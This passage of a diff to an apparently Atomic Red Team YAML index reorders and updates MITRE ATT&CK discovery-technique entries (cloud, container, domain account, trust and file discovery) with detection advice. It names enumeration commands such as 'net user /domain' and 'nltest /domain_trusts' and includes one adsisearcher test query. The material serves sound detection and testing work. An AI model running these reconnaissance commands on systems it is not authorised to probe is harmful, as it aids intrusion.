+        phase_name: discovery
+      id: attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db
+      x_mitre_platforms:
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Google Workspace
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: "An adversary may attempt to enumerate the cloud services running
         on a system after gaining access. These methods can differ from platform-as-a-service
         (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS).
@@ -55686,52 +57249,104 @@ discovery:
         resources and services, and Pacu is an open source AWS exploitation framework
         that supports several methods for discovering cloud services.(Citation: Azure
         - Stormspotter)(Citation: GitHub Pacu)"
-      id: attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-03-16T12:57:03.837Z'
-      created: '2019-08-30T13:01:10.120Z'
-      x_mitre_is_subtechnique: false
+      x_mitre_contributors:
+      - Suzy Schapperle - Microsoft Azure Red Team
+      - Praetorian
       x_mitre_detection: |-
         Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
 
         Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1526
+        external_id: T1526
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/rest/api/resources/
+        description: Microsoft. (2019, May 20). Azure Resource Manager. Retrieved
+          June 17, 2020.
+        source_name: Azure - Resource Manager API
+      - url: https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview
+        description: Microsoft. (2016, March 26). Operations overview | Graph API
+          concepts. Retrieved June 18, 2020.
+        source_name: Azure AD Graph API
+      - url: https://github.com/Azure/Stormspotter
+        description: Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June
+          17, 2020.
+        source_name: Azure - Stormspotter
+      - url: https://github.com/RhinoSecurityLabs/pacu
+        description: Rhino Security Labs. (2019, August 22). Pacu. Retrieved October
+          17, 2019.
+        source_name: GitHub Pacu
+    atomic_tests: []
+  T1619:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Cloud Storage Object Discovery
       x_mitre_data_sources:
-      - 'Cloud Service: Cloud Service Metadata'
-      - 'Cloud Service: Cloud Service Enumeration'
-      x_mitre_version: '1.2'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_contributors:
-      - Suzy Schapperle - Microsoft Azure Red Team
-      - Praetorian
+      - 'Cloud Storage: Cloud Storage Enumeration'
+      - 'Cloud Storage: Cloud Storage Access'
+      x_mitre_version: '1.0'
+      modified: '2021-10-07T18:19:25.352Z'
+      created: '2021-10-01T17:58:26.445Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_platforms:
-      - Azure AD
-      - Office 365
-      - SaaS
       - IaaS
-      - Google Workspace
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156
+      description: |-
+        Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.
+
+        Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
+      x_mitre_contributors:
+      - Regina Elwell
+      - Isif Ibrahima
+      x_mitre_detection: "System and network discovery techniques normally occur throughout
+        an operation as an adversary learns the environment. Data and events should
+        not be viewed in isolation, but as part of a chain of behavior that could
+        lead to other activities, such as Collection and Exfiltration, based on the
+        information obtained. \nMonitor cloud logs for API calls used for file or
+        object enumeration for unusual activity. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1619
+        external_id: T1619
+        source_name: mitre-attack
+      - url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
+        description: Amazon - ListObjectsV2. Retrieved October 4, 2021.
+        source_name: ListObjectsV2
+      - url: https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs
+        description: Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.
+        source_name: List Blobs
     atomic_tests: []
   T1613:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1613
-        url: https://attack.mitre.org/techniques/T1613
-      - source_name: Docker API
-        url: https://docs.docker.com/engine/api/v1.41/
-        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
-          March 31, 2021.
-      - source_name: Kubernetes API
-        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
-        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
-          March 29, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Container and Resource Discovery
+      x_mitre_data_sources:
+      - 'Cluster: Cluster Metadata'
+      - 'Container: Container Enumeration'
+      - 'Container: Container Metadata'
+      - 'Pod: Pod Enumeration'
+      - 'Pod: Pod Metadata'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2021-04-12T18:22:05.737Z'
+      created: '2021-03-31T14:26:00.848Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may attempt to discover containers and other resources
         that are available within a containers environment. Other resources may include
         images, deployments, pods, nodes, and other information such as the status
@@ -55743,21 +57358,10 @@ discovery:
         The discovery of these resources may inform an adversary’s next steps in the
         environment, such as how to perform lateral movement and which methods to
         utilize for execution. "
-      id: attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-12T18:22:05.737Z'
-      created: '2021-03-31T14:26:00.848Z'
       x_mitre_contributors:
       - Vishwas Manral, McAfee
       - Center for Threat-Informed Defense (CTID)
       - Yossi Weizman, Azure Defender Research Team
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Establish centralized logging for the activity of container
         and Kubernetes cluster components. This can be done by deploying logging agents
         on Kubernetes nodes and retrieving logs from sidecar proxies for application
@@ -55766,54 +57370,59 @@ discovery:
         including the use of discovery API calls by new or unexpected users. Monitor
         account activity logs to see actions performed and activity associated with
         the Kubernetes dashboard and other web applications. "
-      x_mitre_platforms:
-      - Containers
-      x_mitre_data_sources:
-      - 'Cluster: Cluster Metadata'
-      - 'Container: Container Enumeration'
-      - 'Container: Container Metadata'
-      - 'Pod: Pod Enumeration'
-      - 'Pod: Pod Metadata'
-      - 'Application Log: Application Log Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1613
+        external_id: T1613
+        source_name: mitre-attack
+      - url: https://docs.docker.com/engine/api/v1.41/
+        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
+          March 31, 2021.
+        source_name: Docker API
+      - url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
+        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
+          March 29, 2021.
+        source_name: Kubernetes API
     atomic_tests: []
   T1087.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1087.002
-        url: https://attack.mitre.org/techniques/T1087/002
-      - external_id: CAPEC-575
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/575.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Domain Account
-      description: |-
-        Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.
-
-        Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.
-      id: attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-03-26T13:42:34.402Z'
-      created: '2020-02-21T21:08:26.480Z'
+      name: Domain Account
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-13T14:05:14.784Z'
+      created: '2020-02-21T21:08:26.480Z'
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: |
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af
+      description: |-
+        Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.
+
+        Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1087/002
+        external_id: T1087.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/575.html
+        external_id: CAPEC-575
+        source_name: capec
       identifier: T1087.002
     atomic_tests:
     - name: Enumerate all accounts (Domain)
@@ -56085,40 +57694,40 @@ discovery:
         command: ([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
   T1069.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1069.002
-        url: https://attack.mitre.org/techniques/T1069/002
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Domain Groups
-      description: |-
-        Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
-
-        Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.
-      id: attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
       modified: '2020-03-12T19:07:53.043Z'
-      created: '2020-02-21T21:15:06.561Z'
+      name: Domain Groups
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-02-21T21:15:06.561Z'
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c
+      description: |-
+        Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
+
+        Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1069/002
+        external_id: T1069.002
+        source_name: mitre-attack
       identifier: T1069.002
     atomic_tests:
     - name: Basic Permission Groups Discovery Windows (Domain)
@@ -56369,35 +57978,25 @@ discovery:
         name: powershell
   T1482:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1482
-        url: https://attack.mitre.org/techniques/T1482
-      - source_name: Microsoft Trusts
-        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
-        description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February
-          14, 2019.
-      - source_name: AdSecurity Forging Trust Tickets
-        url: https://adsecurity.org/?p=1588
-        description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos
-          Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved
-          February 14, 2019.
-      - source_name: Harmj0y Domain Trusts
-        url: http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
-        description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain
-          Trusts. Retrieved February 14, 2019.
-      - source_name: Microsoft Operation Wilysupply
-        url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/
-        description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation
-          WilySupply software supply chain cyberattack. Retrieved February 14, 2019.
-      - source_name: Microsoft GetAllTrustRelationships
-        url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
-        description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved
-          February 14, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-09-17T18:26:17.858Z'
       name: Domain Trust Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      created: '2019-02-14T16:15:05.974Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0
       description: 'Adversaries may attempt to gather information on domain trust
         relationships that may be used to identify lateral movement opportunities
         in Windows multi-domain/forest environments. Domain trusts provide a mechanism
@@ -56411,33 +58010,43 @@ discovery:
         .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility
         [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries
         to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)'
-      id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-09-17T18:26:17.858Z'
-      created: '2019-02-14T16:15:05.974Z'
-      x_mitre_version: '1.1'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      - 'Script: Script Execution'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Dave Westgard
       - Elia Florio, Microsoft
       - Mnemonic
       - RedHuntLabs, @redhuntlabs
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: |
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1482
+        external_id: T1482
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
+        description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February
+          14, 2019.
+        source_name: Microsoft Trusts
+      - url: https://adsecurity.org/?p=1588
+        description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos
+          Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved
+          February 14, 2019.
+        source_name: AdSecurity Forging Trust Tickets
+      - url: http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
+        description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain
+          Trusts. Retrieved February 14, 2019.
+        source_name: Harmj0y Domain Trusts
+      - url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/
+        description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation
+          WilySupply software supply chain cyberattack. Retrieved February 14, 2019.
+        source_name: Microsoft Operation Wilysupply
+      - url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
+        description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved
+          February 14, 2019.
+        source_name: Microsoft GetAllTrustRelationships
       identifier: T1482
     atomic_tests:
     - name: Windows - Discover domain trusts with dsquery
@@ -56598,110 +58207,110 @@ discovery:
         name: powershell
   T1087.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1087.003
-        url: https://attack.mitre.org/techniques/T1087/003
-      - source_name: Microsoft Exchange Address Lists
-        url: https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019
-        description: Microsoft. (2020, February 7). Address lists in Exchange Server.
-          Retrieved March 26, 2020.
-      - source_name: Microsoft getglobaladdresslist
-        url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
-        description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6,
-          2019.
-      - description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper.
-          Retrieved October 6, 2019.
-        url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/
-        source_name: Black Hills Attacking Exchange MailSniper, 2016
-      - source_name: Google Workspace Global Access List
-        url: https://support.google.com/a/answer/166870?hl=en
-        description: Google. (n.d.). Retrieved March 16, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Email Account
+      x_mitre_data_sources:
+      - 'User Account: User Account Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-03-31T13:10:46.302Z'
+      created: '2020-02-21T21:08:33.237Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470
       description: |-
         Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
 
         In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
 
         In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
-      id: attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-03-31T13:10:46.302Z'
-      created: '2020-02-21T21:08:33.237Z'
-      x_mitre_data_sources:
-      - 'User Account: User Account Metadata'
-      - 'Command: Command Execution'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
-      - Office 365
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1087/003
+        external_id: T1087.003
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019
+        description: Microsoft. (2020, February 7). Address lists in Exchange Server.
+          Retrieved March 26, 2020.
+        source_name: Microsoft Exchange Address Lists
+      - url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
+        description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6,
+          2019.
+        source_name: Microsoft getglobaladdresslist
+      - source_name: Black Hills Attacking Exchange MailSniper, 2016
+        description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper.
+          Retrieved October 6, 2019.
+        url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/
+      - url: https://support.google.com/a/answer/166870?hl=en
+        description: Google. (n.d.). Retrieved March 16, 2021.
+        source_name: Google Workspace Global Access List
     atomic_tests: []
   T1083:
     technique:
-      created: '2017-05-31T21:31:04.710Z'
-      modified: '2020-09-16T16:02:16.770Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      type: attack-pattern
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: File and Directory Discovery
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1083
         external_id: T1083
-        url: https://attack.mitre.org/techniques/T1083
-      - external_id: CAPEC-127
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/127.html
+        external_id: CAPEC-127
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/127.html
-      - external_id: CAPEC-497
+      - url: https://capec.mitre.org/data/definitions/497.html
+        external_id: CAPEC-497
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/497.html
-      - url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
+      - source_name: Windows Commands JPCERT
         description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers.
           Retrieved February 2, 2016.
-        source_name: Windows Commands JPCERT
-      description: |-
-        Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-
-        Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).
-      name: File and Directory Discovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.3'
+        url: https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Process: OS API Execution'
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      x_mitre_version: '1.3'
+      modified: '2021-08-23T20:44:32.048Z'
+      x_mitre_system_requirements:
+      - Some folders may require Administrator, SYSTEM or specific user depending
+        on permission levels and access controls
+      id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
       - Administrator
       - SYSTEM
-      x_mitre_system_requirements:
-      - Some folders may require Administrator, SYSTEM or specific user depending
-        on permission levels and access controls
+      description: |-
+        Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
+        Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
